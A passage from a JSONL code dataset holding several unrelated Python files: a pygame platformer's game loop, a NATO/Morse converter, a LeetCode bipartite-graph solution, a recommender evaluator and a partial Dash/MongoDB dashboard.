- pPos[0]))\r\n else: \r\n angle = math.pi/2\r\n\r\n if x < pPos[0]:\r\n angle *= -1\r\n player.shootBullet(angle, x >= pPos[0])\r\n\r\n\r\ndef adjustInertia(inertia, grounded):\r\n global lr\r\n airSlow = 0.08\r\n groundSlow = 0.15\r\n \r\n #airSlow = 1\r\n #groundSlow=1\r\n if not inertia == 0 and not grounded:\r\n # In Air\r\n lr[inertia - 1] -= airSlow\r\n if lr[inertia - 1] <= 0:\r\n lr[inertia - 1] = 0\r\n return True\r\n elif not inertia == 0:\r\n lr[inertia - 1] -= groundSlow\r\n if lr[inertia - 1] <= 0:\r\n lr[inertia - 1] = 0\r\n return True\r\n return False\r\n\r\n\r\ndef playerHit(dmg):\r\n if player.takeDamage(dmg) == False:\r\n playerDeath()\r\n \r\ndef enemyKill(enemy):\r\n global currentFloor, gameAnimations\r\n expGain = enemy.getEXPPrize()\r\n \r\n x, y = enemy.getApproxPos() \r\n r = enemy.getRadius()\r\n gameAnimations.addAnimation(fw.ShowEXP(expGain, (x - r, y - r)))\r\n \r\n player.gainEXP(expGain)\r\n if inBattleEnemy:\r\n endInBattle()\r\n currentFloor.removeEnemy(enemy)\r\n \r\n\r\ndef playerDeath():\r\n \r\n player.setYSpeed(0)\r\n player.inAir()\r\n player.clearBullets()\r\n #currentFloor.clearAllBullets()\r\n player.setPos(100, 500)\r\n player.removeInvincibility()\r\n player.fullRestore()\r\n\r\n# --- Event Listeners ---\r\n\r\ndef gameKeyboardListener(event):\r\n if not paused() and not player.isFireCharge(): \r\n if event.type == pygame.KEYDOWN:\r\n gameKeyDownListener(event.key)\r\n \r\n elif event.type == pygame.KEYUP:\r\n gameKeyUpListener(event.key)\r\n \r\n\r\ndef gameKeyDownListener(key):\r\n global lr\r\n if key == pygame.K_UP or key == pygame.K_w:\r\n player.jump()\r\n elif key == pygame.K_LEFT or key == pygame.K_a:\r\n lr[0] = 1\r\n lr[1] = 0\r\n player.changeDir(False)\r\n elif key == pygame.K_RIGHT or key == pygame.K_d:\r\n lr[1] = 1\r\n lr[0] = 0\r\n player.changeDir(True)\r\n elif key == pygame.K_LSHIFT or key == pygame.K_RSHIFT:\r\n player.sprint(True)\r\n elif key == pygame.K_SPACE:\r\n player.usePhysical()\r\n\r\n\r\ndef gameKeyUpListener(key):\r\n global lr, player, gameState\r\n pSpeeds = player.getSpeeds()\r\n if key == pygame.K_UP or key == pygame.K_w:\r\n if pSpeeds[1] > 8:\r\n player.setYSpeed(12)\r\n elif key == pygame.K_z:\r\n if inBattleEnemy:\r\n player.shootBullet(0, player.getX() <= inBattleEnemy.getX()) \r\n else:\r\n player.shootBullet(0, player.isFacingRight())\r\n elif key == pygame.K_DOWN or key == pygame.K_s:\r\n player.setScreenBomb(rng.ScreenBomb(player.getPos()[0], player.getPos()[1]))\r\n elif key == pygame.K_q:\r\n togglePause()\r\n gameState = SKILLEQUIP\r\n elif key == pygame.K_r:\r\n pass\r\n elif key == pygame.K_f:\r\n pass\r\n elif key == pygame.K_t:\r\n pass\r\n else:\r\n slowdownCheck(key)\r\n\r\ndef gameMouseListener():\r\n # TODO: When clicking side bar, don't shoot\r\n global player, gamePaused\r\n \r\n mouseX = pygame.mouse.get_pos()[0]\r\n mouseY = pygame.mouse.get_pos()[1]\r\n \r\n # Pause Button\r\n if pauseButton.collidepoint(mouseX, mouseY):\r\n togglePause()\r\n elif not paused():\r\n targetShoot(mouseX, mouseY, player.getPos())\r\n \r\ndef menuKeyboardListener(event):\r\n global gameState\r\n \r\n # connects the menu instance to the keyboard\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_UP or event.key == pygame.K_w:\r\n if pauseMenu.hasSelection():\r\n pauseMenu.prevItem()\r\n else:\r\n pauseMenu.selectLastButton()\r\n elif event.key == pygame.K_DOWN or event.key == pygame.K_s:\r\n if pauseMenu.hasSelection():\r\n pauseMenu.nextItem()\r\n else:\r\n pauseMenu.selectItem(0)\r\n elif event.key == pygame.K_RETURN:\r\n if not pauseMenu.hasSelection():\r\n togglePause()\r\n gameState = GAMEPLAY\r\n else:\r\n newState = pauseMenu.clickSelection()\r\n if newState == GAMEPLAY:\r\n togglePause()\r\n gameState = newState\r\n elif event.key == pygame.K_q:\r\n gameState = SKILLEQUIP\r\n\r\ndef slowdownCheck(key):\r\n if key == pygame.K_LSHIFT or key == pygame.K_RSHIFT:\r\n player.sprint(False)\r\n elif key == pygame.K_LEFT or key == pygame.K_a:\r\n player.setInertia(1)\r\n elif key == pygame.K_RIGHT or key == pygame.K_d:\r\n player.setInertia(2)\r\n\r\ndef SkillEquipKeyListener(event):\r\n global gameState\r\n if event.key == pygame.K_x:\r\n gameState = PAUSEMENU \r\n elif event.key == pygame.K_r:\r\n pass\r\n elif event.key == pygame.K_f:\r\n pass\r\n elif event.key == pygame.K_t:\r\n pass\r\n\r\n\r\n# --- Updating State ---\r\n\r\ndef updateEnemies(enemies):\r\n global player\r\n playerRect = player.getHitBox()\r\n pPos = player.getPos()\r\n if not inBattleEnemy:\r\n enemyList = enemies\r\n elif inBattleEnemy and inBattleEnemy.getHP()>0:\r\n inBattleEnemy.updatePlayerPos(pPos)\r\n enemyList = [inBattleEnemy]\r\n else:\r\n enemyList = []\r\n for enemy in enemyList:\r\n if inBattleEnemy:\r\n enemy.updateFrame()\r\n else:\r\n enemy.updateFrame(currentFloor.getGround())\r\n ePos = enemy.getPos()\r\n if enemy.tick():\r\n # Shooting a new bullet, change this section to be more flexible \r\n enemy.shootAt(pPos)\r\n enemyRect = enemy.getHitBox()\r\n if enemyRect.colliderect(playerRect):\r\n # Player Touches Enemy\r\n if inBattleEnemy:\r\n dmg = enemy.getSlamDmg() if not player.isFireCharge() else enemy.getSlamDmg()/2\r\n playerHit(dmg)\r\n elif not player.isFireCharge():\r\n prepInBattle(enemy, pPos[0] <= ePos[0])\r\n\r\n # TODO: Interact with platforms\r\n \r\n # Bullet Actions\r\n for ebullet in enemy.getBullets():\r\n if ebullet.update():\r\n bulletRect = ebullet.getHitBox()\r\n dmg = ebullet.damageAmt()\r\n if bulletRect.colliderect(playerRect) and dmg > 0:\r\n playerHit(dmg)\r\n if ebullet.endsOnContact():\r\n enemy.removeBullet(ebullet) \r\n else:\r\n ebullet.negate()\r\n elif collideWithPlatforms(bulletRect):\r\n enemy.removeBullet(ebullet)\r\n else:\r\n # Goes Off Screen\r\n enemy.removeBullet(ebullet)\r\n\r\n\r\ndef updatePlayerBullets():\r\n global player, currentFloor\r\n \r\n bullets = player.getBullets()\r\n for bullet in bullets:\r\n if bullet.canFollow():\r\n onScreen = bullet.update(currentFloor.getActiveEnemies())\r\n else:\r\n onScreen = bullet.update()\r\n \r\n if onScreen: \r\n bulletRect = bullet.getHitBox()\r\n \r\n if collideWithPlatforms(bulletRect):\r\n player.removeBullet(bullet)\r\n else:\r\n if collideWithEnemy(bulletRect, bullet.damageAmt()):\r\n player.removeBullet(bullet) \r\n else:\r\n # Off Screen\r\n player.removeBullet(bullet)\r\n\r\n updatePlayerAttack()\r\n\r\n\r\ndef updatePlayerAttack():\r\n phys = player.getPhys()\r\n \r\n if phys:\r\n ongoing = phys.update()\r\n for enemy in currentFloor.getActiveEnemies():\r\n if enemy.isVulnerable and phys.collide(enemy.getHitBox()):\r\n alive = enemy.takeDamage(phys.damageAmt())\r\n enemy.gotHit()\r\n if not alive:\r\n enemyKill(enemy)\r\n \r\n for bullet in enemy.getBullets():\r\n if bullet.isVulnerable() and phys.collide(bullet.getHitBox()): \r\n destroyed = bullet.reduceDmg(phys.damageAmt())\r\n if destroyed:\r\n enemy.removeBullet(bullet)\r\n \r\n # collideWithEnemy(phys.getHitBox(), phys.damageAmt())\r\n if not ongoing:\r\n player.endPhys()\r\n currentFloor.resetVulnerability()\r\n \r\n\r\n\r\ndef updateScreenBomb():\r\n global player, gamePaused\r\n bomb = player.getScreenBomb()\r\n if bomb:\r\n gamePaused = True\r\n bomb.update()\r\n bombRect = bomb.getHitBox()\r\n if bomb.getRadius() > screenWidth:\r\n dmg = bomb.damageAmt()\r\n for enemy in activeEnemies:\r\n enemyBox = enemy.getHitBox()\r\n if bombRect.colliderect(enemyBox):\r\n alive = enemy.takeDamage(dmg)\r\n enemy.reduceHealableDmg(dmg//2)\r\n if not alive:\r\n enemyKill(enemy)\r\n player.removeScreenBomb()\r\n gamePaused = False\r\n \r\n for enemy in currentFloor.getEnemies():\r\n for ebullet in enemy.getBullets():\r\n if bombRect.colliderect(ebullet.getHitBox()):\r\n enemy.removeBullet(ebullet) \r\n # removes bullets too\r\n \r\n \r\n \r\ndef handlePlatformHit():\r\n currentFloor.tick()\r\n playerOnPlatform = False\r\n pPos = player.getPos()\r\n playerOuterRect = player.getOuterBox()\r\n playerRect = player.getHitBox()\r\n for platform in currentFloor.getActivePlatforms():\r\n platformBox = platform.getRect()\r\n if platformBox.colliderect(playerOuterRect):\r\n playerOnPlatform = True # Marks that player is touching platform\r\n r = player.getRadius()\r\n \r\n if not player.isFalling() and not platform.canJumpThrough() \\\r\n and pPos[1] > platformBox.bottom and pPos[0] <= platformBox.right and pPos[0] >= platformBox.left:\r\n # Hit head from bottom\r\n player.setPos(pPos[0], platformBox.bottom + r)\r\n player.bounce()\r\n elif player.isFalling():\r\n if pPos[1] <= platformBox.top:\r\n # Land on platform\r\n player.setPos(pPos[0], platformBox.top - r + 1)\r\n player.touchGround(True)\r\n elif playerOuterRect.left >= platformBox.left:\r\n player.setPos(platformBox.right + r - 1, pPos[1])\r\n elif playerOuterRect.right <= platformBox.right:\r\n player.setPos(platformBox.left - r + 1, pPos[1])\r\n elif not platform.canJumpThrough() and playerRect.bottom > platformBox.top and playerRect.top <= platformBox.bottom:\r\n # blocked if walking into a pillar\r\n if playerOuterRect.left >= platformBox.left:\r\n player.setPos(platformBox.right + r - 1, pPos[1])\r\n elif playerOuterRect.right <= platformBox.right:\r\n player.setPos(platformBox.left - r + 1, pPos[1])\r\n \r\n if not platform.canJumpThrough():\r\n for enemy in currentFloor.getEnemies():\r\n enemyBox = enemy.getOuterBox()\r\n enemyPos = enemy.getPos()\r\n if platformBox.colliderect(enemyBox):\r\n # Need to check if falling\r\n r = enemy.getRadius()\r\n if enemyPos[1] + 2 * r > platformBox.top and enemy.isFalling():\r\n enemy.setY(platformBox.top - r - 1)\r\n enemy.jump()\r\n elif enemyPos[1] - 2 * r < platformBox.bottom and not enemy.isFalling():\r\n enemy.setY(platformBox.bottom + r + 1)\r\n enemy.bounce()\r\n #enemy.changeYSpeed(0)\r\n \r\n \r\n \r\n if not playerOnPlatform and player.isOnPlatform():\r\n player.fall()\r\n\r\ndef paused():\r\n return gamePaused or animationPaused\r\n\r\n\r\ndef drawEdges():\r\n floorPos = currentFloor.getPos()\r\n floorDim = currentFloor.getDimensions()\r\n rect1 = pygame.Rect(floorPos[0], 0, screenWidth/2 , screenHeight)\r\n rect2 = pygame.Rect(floorPos[0] + floorDim[0] - screenWidth / 2, 0, screenWidth/2, screenHeight)\r\n rect3 = pygame.Rect(0, screenHeight/2 + floorDim[1], screenWidth , screenHeight / 2)\r\n #rect4 = None\r\n #pygame.draw.rect(gameDisplay, lightred, rect1)\r\n #pygame.draw.rect(gameDisplay, lightred, rect2)\r\n #pygame.draw.rect(gameDisplay, lightred, rect3)\r\n\r\n# ----- Main Game Loop ------\r\ndef inputHandling():\r\n global crashed, gameState\r\n \r\n # lots of ifs in one loop or a loop in each if\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n crashed = True\r\n \r\n if gameState == GAMEPLAY:\r\n if event.type == pygame.MOUSEBUTTONUP:\r\n gameMouseListener()\r\n if event.type == pygame.KEYUP and (event.key == pygame.K_RETURN or event.key == pygame.K_ESCAPE):\r\n togglePause()\r\n gameState = PAUSEMENU\r\n gameKeyboardListener(event)\r\n else:\r\n if gamePaused and event.type == pygame.KEYUP:\r\n # Menu and keys that can be pressed while paused\r\n slowdownCheck(event.key)\r\n \r\n # key presses for non-game states\r\n if gameState == PAUSEMENU:\r\n if event.type == pygame.KEYUP and (event.key == pygame.K_ESCAPE or \\\r\n event.key == pygame.K_x):\r\n togglePause()\r\n gameState = GAMEPLAY\r\n pauseMenu.unSelect()\r\n menuKeyboardListener(event)\r\n elif gameState == SHOP:\r\n if event.type == pygame.KEYUP and event.key == pygame.K_ESCAPE:\r\n togglePause()\r\n gameState = GAMEPLAY\r\n pauseMenu.unSelect()\r\n elif gameState == SKILLEQUIP: \r\n if event.type == pygame.KEYUP and (event.key == pygame.K_ESCAPE or \\\r\n event.key == pygame.K_q):\r\n togglePause()\r\n gameState = GAMEPLAY\r\n pauseMenu.unSelect()\r\n SkillEquipKeyListener(event)\r\n\r\n if gameState == -1:\r\n crashed = True\r\n \r\n \r\ndef displayHandling():\r\n global gameState\r\n if gameState == GAMEPLAY:\r\n drawMainElements()\r\n updateNumberDisplay()\r\n elif gameState == PAUSEMENU:\r\n pauseMenu.draw(gameDisplay)\r\n elif gameState == SHOP:\r\n pass\r\n elif gameState == SKILLEQUIP:\r\n skillsUI.draw(gameDisplay)\r\n \r\n # draw the game then draw the menu then draw the shop, or only redraw when moves from shop back to menu\r\n pygame.display.update()\r\n clock.tick(24)\r\n\r\n\r\ndef gameUpdate():\r\n global activeEnemies, animationPaused\r\n if not paused():\r\n if adjustInertia(player.getInertia(), player.isGrounded()):\r\n player.setInertia(0)\r\n \r\n player.updateFrame(lr[1] - lr[0])\r\n \r\n activeEnemies = currentFloor.getActiveEnemies()\r\n \r\n updatePlayerBullets()\r\n updateEnemies(currentFloor.getEnemies())\r\n if not inBattleEnemy:\r\n handlePlatformHit()\r\n pPos = player.getApproxPos()\r\n shiftX = currentFloor.XSideScroll(pPos[0])\r\n shiftY = currentFloor.YSideScroll(pPos[1])\r\n sideScroll(shiftX, shiftY)\r\n \r\n \r\n gameAnimations.updateAnimations()\r\n animationPaused = gameAnimations.pausesGame()\r\n timers()\r\n updateScreenBomb()\r\n\r\n\r\ndef gameLoop():\r\n global crashed, gameState\r\n while not crashed:\r\n inputHandling()\r\n if gameState == GAMEPLAY:\r\n gameUpdate()\r\n displayHandling()\r\n\r\n\r\ngameLoop()\r\npygame.quit()\r\nquit()","repo_name":"afimbufe/Ball-Adv.","sub_path":"PygameBounceTest.py","file_name":"PygameBounceTest.py","file_ext":"py","file_size_in_byte":27940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10368040503","text":"from nato import convert_to_nato, speak_nato\nfrom morse import send_morse\n\n\ndef main():\n \"\"\"\n Asks for a word or phrase, converts it to NATO Phonetics and Morse Code, displays the result on the screen and\n plays it in the speakers.\n :return: Nothing is returned.\n \"\"\"\n text = input(\"Enter a word or a phrase: \")\n print(convert_to_nato(text, \"formatted\"))\n speak_nato(text)\n send_morse(text)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"callej/NATO-Morse-2","sub_path":"nm_cmd.py","file_name":"nm_cmd.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11178658642","text":"\"\"\"785. Is Graph Bipartite?\n\nhttps://leetcode.com/problems/is-graph-bipartite/\n\nBrute force:\nCreate all combinations of two-sets. And check if bipartite, by\niterating over edges and checking if the edge connects both sides.\n\n\nSolution 2: Not accepted\n- We iterate over each node N\n- We try adding to set a if we cannot add it to set b. If we cannot we return false.\n- the check for can add, is based on the outward edges from N, if it has any in set being\nadded, cannot add.\n\n\ndef _dfs(node, seta, setb, graph):\n if node == len(graph):\n return True\n for gset in (seta, setb):\n if not can_add(node, gset, graph):\n continue\n gset.add(node)\n if _dfs(node=node+1, seta=seta, setb, graph):\n return True\n gset.discard(node)\n else:\n return False\n\n[[1,3], [0,2], [1,3], [0,2]]\n\n node=0, A {} B {}\n / \\\n n=1 A{0}B{} A{} B{0}\n /\n A{0}B{1}\n /\n A{0,2} B{1,3}\n\nSolution 3: Graph colouring\n\"\"\"\n\n\nclass Solution:\n def isBipartite(self, graph: List[List[int]]) -> bool:\n # graph coloring\n color = {}\n for node in range(len(graph)):\n if node in color:\n continue\n if not _dfs(node=node, graph=graph, color=color):\n return False\n else:\n return True\n\n\ndef _dfs(node, graph, color):\n color[node] = 0\n stk = [node]\n while stk:\n nd = stk.pop()\n for adj in graph[nd]:\n if adj not in color:\n color[adj] = ~color[nd]\n stk.append(adj)\n elif color[adj] == color[nd]:\n return False\n else:\n return True\n","repo_name":"vispz/interview-problems","sub_path":"leetcode/785-is-graph-bipartite.py","file_name":"785-is-graph-bipartite.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33073746685","text":"import numpy as np\nfrom utils import *\n\nclass Evaluator():\n def __init__(self, model, ratings):\n self.model = model\n self.ratings = ratings\n self.hits = None\n self.ndcgs = None\n self.precs = None\n\n def evaluate(self):\n self.hits = np.array([0.0] * self.model.n_user)\n self.ndcgs = np.array([0.0] * self.model.n_user)\n self.precs = np.array([0.0] * self.model.n_user)\n\n for rating in self.ratings:\n u = rating[0]\n i = rating[1]\n hit, ndcg, prec = self.evaluate_for_user(u, i)\n self.hits[u] = hit\n self.ndcgs[u] = ndcg\n self.precs[u] = prec\n\n def evaluate_online(self, interval=10):\n test_count = len(self.ratings)\n self.hits = np.array([0.0] * test_count)\n self.ndcgs = np.array([0.0] * test_count)\n self.precs = np.array([0.0] * test_count)\n\n counts = [0] * (interval + 1)\n hits_r = [0.0] * (interval + 1)\n ndcgs_r = [0.0] * (interval + 1)\n precs_r = [0.0] * (interval + 1)\n\n #update_time = 0\n for t, rating in enumerate(self.ratings):\n if t > 0 and t % 500 == 0:\n msg = '{}: =\\t {}\\t {}\\t {}'\n print(msg.format(t,\n np.sum(self.hits) / t,\n np.sum(self.ndcgs) / t,\n np.sum(self.precs) / t))\n\n hit, ndcg, prec = self.evaluate_for_user(rating[0], rating[1])\n self.hits[t] = hit\n self.ndcgs[t] = ndcg\n self.precs[t] = prec\n\n # statistics for break down\n r = len(self.model.ratings.getrowview(rating[0]).rows[0])\n r = interval if r > interval else r\n counts[r] += 1\n hits_r[r] += hit\n ndcgs_r[r] += ndcg\n precs_r[r] += prec\n\n # update the model (for sequential update)\n #start_t = time.time()\n #self.model.update_factors(rating[0], rating[1], 1, 0.01)\n #update_time += time.time() - start_t\n\n print('Break down the results by number of user ratings for the test pair.')\n print('#Rating\\t Percentage\\t HR\\t NDCG\\t MAP\\n')\n for i in range(interval + 1):\n if counts[i] == 0:\n continue\n msg = '{}\\t {}%%\\t {}\\t {}\\t {}'\n print(msg.format(i,\n float(counts[i]) / test_count * 100,\n hits_r[i] / counts[i],\n ndcgs_r[i] / counts[i],\n precs_r[i] / counts[i]))\n\n #print('Avg model update time per instance: {}'.format(float(update_time)/test_count))\n\n def evaluate_for_user(self, user, item, topK=100, ignore_train=True):\n map_item_score = {}\n # Get the score of the test item first.\n max_score = self.model.predict(user, item)\n\n # Early stopping if there are topK items larger than maxScore.\n count_larger = 0\n for i in range(self.model.n_item):\n score = self.model.predict(user, i)\n map_item_score[i] = score\n\n if score > max_score:\n count_larger += 1\n if count_larger > topK:\n # early stopping\n return 0.0, 0.0, 0.0\n\n # Selecting topK items (does not exclude train items).\n if ignore_train:\n rated_item = self.model.ratings.getrowview(user).rows[0]\n rank_list = TopKeysByValue(map_item_score, topK, rated_item)\n else:\n rank_list = TopKeysByValue(map_item_score, topK, None)\n\n hit = self._calc_hr(rank_list, item)\n ndcg = self._calc_ndcg(rank_list, item)\n prec = self._calc_precision(rank_list, item)\n\n return hit, ndcg, prec\n\n def _calc_hr(self, rank_list, gt_item):\n for item in rank_list:\n if item == gt_item:\n return 1\n return 0\n\n def _calc_ndcg(self, rank_list, gt_item):\n for i, item in enumerate(rank_list):\n if item == gt_item:\n return np.log(2) / np.log(i + 2)\n return 0\n\n def _calc_precision(self, rank_list, gt_item):\n for i, item in enumerate(rank_list):\n if item == gt_item:\n return 1.0 / (i + 1)\n return 0\n","repo_name":"tn1031/vrec","sub_path":"evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"2015359077","text":"import json\nimport pandas as pd\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport time\nimport numpy as np\nimport requests\nimport flask\nfrom dateutil import relativedelta\nfrom mongo_connect import DB\nfrom dash import Dash\nfrom dash.dependencies import Input, Output, State\nfrom post_end_point import server\nfrom update_crawl_attribute import update_crawl_period_handler, update_crawl_time_handler\nfrom datetime import datetime as dt, timedelta\nfrom urllib.request import Request, urlopen\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = Dash(\n __name__,\n server=server,\n url_base_pathname='/index/',\n external_stylesheets=[dbc.themes.BOOTSTRAP]\n)\n\ncolors = {\n 'background': '#FFFFFF',\n 'text': '#000000'\n}\ndef get_topic_id():\n options = [{'label': 'All Topic', 'value': 'All Topic'}]\n\n for x in DB.topic.find({}, {\"_id\": 0, \"topic_id\":1}):\n topic = x[\"topic_id\"]\n options.append({'label': topic, 'value': topic})\n return options, options[1:]\n\ndef form_pipe_line(start_date, end_date, grouped_by_type, topic_id):\n \n keys = {\"created_date\": {\"$gt\": start_date, \"$lt\": end_date}}\n\n keys[\"is_updated\"] = True\n if topic_id != \"All Topic\":\n keys[\"topic_id\"] = int(topic_id)\n\n group = {}\n\n if grouped_by_type == 'MONTH':\n group = {\n \"month\": { \"$month\": \"$created_date\" },\n \"year\": { \"$year\": \"$created_date\" },\n \"model\": \"$predict.model\"\n }\n elif grouped_by_type == 'YEAR':\n group = {\n \"year\": { \"$year\": \"$created_date\" },\n \"model\": \"$predict.model\"\n }\n else:\n group = {\n \"month\": { \"$month\": \"$created_date\" },\n \"year\": { \"$year\": \"$created_date\" },\n \"date\": {\"$dayOfMonth\": \"$created_date\"},\n \"model\": \"$predict.model\"\n }\n\n pipe_line = [{\n \"$match\": keys,\n },\n {\n \"$unwind\": \"$predict\"\n },\n {\n \"$group\": {\n \"_id\": group,\n \"true_positive\": {\n \"$sum\": {\"$cond\": [ {\"$and\": [{\"$eq\": [\"$true_label\", True]}, {\"$eq\":[\"$predict.label\", True]}]}, 1, 0 ]}\n },\n \"false_positive\": {\n \"$sum\": {\"$cond\": [ {\"$and\": [{\"$eq\": [\"$true_label\", True]}, {\"$eq\":[\"$predict.label\", False]}]}, 1, 0 ]}\n },\n \"false_negative\": {\n \"$sum\": {\"$cond\": [ {\"$and\": [{\"$eq\": [\"$true_label\", False]}, {\"$eq\":[\"$predict.label\", True]}]}, 1, 0 ]}\n },\n \"created_date\": {\"$min\": \"$created_date\"}\n }\n }]\n return pipe_line\ndef form_dataframe(data, grouped_by_type):\n\n if grouped_by_type == 'MONTH':\n prensent_func = lambda x: dt(year=x.year,month=x.month,day=1)\n elif grouped_by_type == 'YEAR':\n prensent_func = lambda x: dt(year=x.year,month=1,day=1)\n else:\n prensent_func = lambda x: dt(x.year,x.month,x.day)\n\n df = pd.DataFrame(data=data)\n if df.empty:\n return df\n df[\"model\"] = list(map(lambda x: x.get(\"model\", \"None\"), df[\"_id\"]))\n df = df[df[\"model\"] != \"None\"]\n df[\"precision\"] = df[\"true_positive\"] / (df[\"true_positive\"] + df[\"false_positive\"])\n df[\"recall\"] = df[\"true_positive\"] / (df[\"true_positive\"] + df[\"false_negative\"])\n df[\"created_date\"] = list(map(prensent_func, df['created_date']))\n df = df.fillna(0)[[\"precision\", \"recall\", \"created_date\", \"model\"]]\n df=df.sort_values(by=[\"created_date\"])\n return df\n\ndef form_layout(start_date, end_date, grouped_by_type, topic_id=\"All Topic\"):\n\n pipe_line = form_pipe_line(start_date, end_date, grouped_by_type, topic_id)\n temp = DB.mention.aggregate(pipe_line)\n\n layout = []\n df = form_dataframe(temp, grouped_by_type)\n if df.empty:\n return layout\n grouped_df = df.groupby(df[\"model\"])\n \n for name, df in grouped_df:\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=df[\"created_date\"], y=df[\"precision\"],\n mode='lines',\n name='precision'))\n fig.add_trace(go.Scatter(x=df[\"created_date\"], y=df[\"recall\"],\n mode='lines',\n name='recall'))\n\n fig.update_layout(\n font_color=colors['text'],\n title=\"Precision and Recall of Model {}\".format(name),\n xaxis_title=\"Timeline\",\n yaxis=dict(range=[0,1])\n )\n layout.append(dcc.Graph(\n id='graph_of_model_{}'.format(name),\n figure=fig\n ))\n\n return layout\n\nform = html.Div(children =[\n html.Div([\n dcc.Dropdown(\n id='demo-dropdown',\n options=get_topic_id()[0],\n value = \"All Topic\",\n )\n ],\n style={'width': '19%', 'margin': 'auto','align-content':'center'}\n ),\n html.Div([\n dcc.RadioItems(\n options=[\n {'label': 'Date', 'value': 'DATE'},\n {'label': 'Month', 'value': 'MONTH'},\n {'label': 'Year', 'value': 'YEAR'}\n ],\n value='DATE',\n labelStyle={'display': 'inline-block', 'vertical-align': 'middle', 'margin-right': '10px'},\n inputStyle={'vertical-align': 'middle'},\n id='data-radio-items'\n ),\n ],\n style={ 'margin': 'auto', 'align-content':'center'}\n ),\n\n html.Div([\n dcc.DatePickerRange(\n id='my-date-picker-range',\n min_date_allowed=dt(1995, 8, 5),\n max_date_allowed=dt.now()+timedelta(1),\n initial_visible_month=dt.now(),\n display_format='DD/MM/YYYY',\n start_date=dt.now()-timedelta(1),\n end_date=dt.now()\n ),\n ],\n style={ 'margin': 'auto', 'align-content':'center'}\n ),\n dbc.Button('Submit',\n id='button',\n style={ 'margin': 'auto', 'align-content':'center'},\n n_clicks=0),\n\n], style={'display': 'flex', 'flex-flow': 'row wrap', 'align-items': 'center'})\n\ntab1_content = dbc.Card(\n dbc.CardBody([\n form,\n html.Div(id=\"layout\",\n children = form_layout(dt.now()-timedelta(1), dt.now()+timedelta(1), \"DATE\")\n )\n ]),\n className=\"mt-3\",\n)\n\n\ntab2_content = dbc.Card(\n dbc.CardBody([\n html.Div([\n html.Div([\n dcc.RadioItems(\n options=[\n {'label': 'Update Crawl Period', 'value': 'P'},\n {'label': 'Update Crawl Timepoint', 'value': 'TP'},\n ],\n labelStyle={'display': 'inline-block', 'vertical-align': 'middle', 'margin-right': '10px'},\n inputStyle={'vertical-align': 'middle'},\n id='update-radio-items'\n )\n ]),\n html.Div(id=\"update-content\", children=[])\n ])\n ]),\n className=\"mt-3\",\n)\n\ndef form_topic_crawl_period_element(topic_id, crawl_period):\n div_tag = html.Div([\n html.Div([\n 'Topic {} Crawl Period'.format(topic_id),\n dcc.Input(\n id=\"input-range-{}\".format(topic_id),\n type=\"number\",\n min=1,\n value=crawl_period,\n style={ 'width': '29%', 'margin': 'auto', 'align-content':'center'}\n ),\n html.Div([\n dcc.Dropdown(\n id='time-option-{}'.format(topic_id),\n options=[\n {'label': 'second(s)', 'value': 'SECOND'},\n {'label': 'minute(s)', 'value': 'MINUTE'},\n {'label': 'hour(s)', 'value': 'HOUR'},\n {'label': 'day(s)', 'value': 'DAY'}\n ],\n value=\"SECOND\",\n )\n ],\n style={ 'width': '9%', 'margin': 'auto', 'align-content':'center'}\n ),\n dbc.Button('Update',\n id='update-period-button-{}'.format(topic_id),\n style={ 'margin': 'auto', 'align-content':'center'},\n n_clicks=0),\n ], style={'display': 'flex', 'flex-flow': 'row wrap', 'align-items': 'center', 'margin-bottom': '10px'}), \n dbc.Alert(\n children=[],\n id=\"alert-period-auto-{}\".format(topic_id),\n is_open=False,\n duration=4000,\n )\n ])\n return div_tag\n\ndef form_topic_crawl_time_element(topic_id, time):\n div_tag = html.Div([\n html.Div([\n 'Topic {} Next Crawl At'.format(topic_id),\n dcc.DatePickerSingle(\n id='date-picker-single-{}'.format(topic_id),\n min_date_allowed=dt(1995, 8, 5),\n initial_visible_month=dt.now(),\n display_format='DD/MM/YYYY',\n date=time,\n style={'margin': 'auto', 'align-content':'center'}\n ),\n html.Div([\n dcc.Input(\n id=\"input-hour-range-{}\".format(topic_id),\n type=\"number\",\n min=0, max=23,\n value=time.hour,\n style={'width':'49%','margin': 'auto', 'align-content':'center'}\n ),\n ':',\n dcc.Input(\n id=\"input-minute-range-{}\".format(topic_id),\n type=\"number\",\n min=0, max=59,\n value=time.minute,\n style={'width':'49%','margin': 'auto', 'align-content':'center'}\n ),\n ],style={'width':'19%', 'display': 'flex', 'flex-flow': 'row wrap', 'align-items': 'center'}),\n\n dbc.Button('Update',\n id='update-time-button-{}'.format(topic_id),\n style={ 'margin': 'auto', 'align-content':'center'},\n n_clicks=0)\n ],\n style={'display': 'flex', 'flex-flow': 'row wrap', 'align-items': 'center', 'margin-bottom': '10px'}),\n dbc.Alert(\n children=[],\n id=\"alert-time-auto-{}\".format(topic_id),\n is_open=False,\n duration=4000,\n )\n ])\n return div_tag\n\n@app.callback(\n Output('update-content', 'children'),\n [Input('update-radio-items', 'value')]\n)\ndef show_crawl_type(update_type):\n \n topic_lists = DB.topic.find({}, {\"_id\": 0})\n \n if update_type == 'P':\n update_crawl_period_content = []\n for topic in topic_lists:\n update_crawl_period_content.append(\n form_topic_crawl_period_element(topic[\"topic_id\"], topic[\"crawl_period\"] )\n )\n return update_crawl_period_content\n elif update_type == 'TP':\n update_crawl_timepoint_content = []\n for topic in topic_lists:\n update_crawl_timepoint_content.append(\n form_topic_crawl_time_element(topic[\"topic_id\"], topic[\"next_crawl_at\"] )\n )\n return update_crawl_timepoint_content\n else:\n return []\n\n\napp.layout = html.Div(style={'backgroundColor': 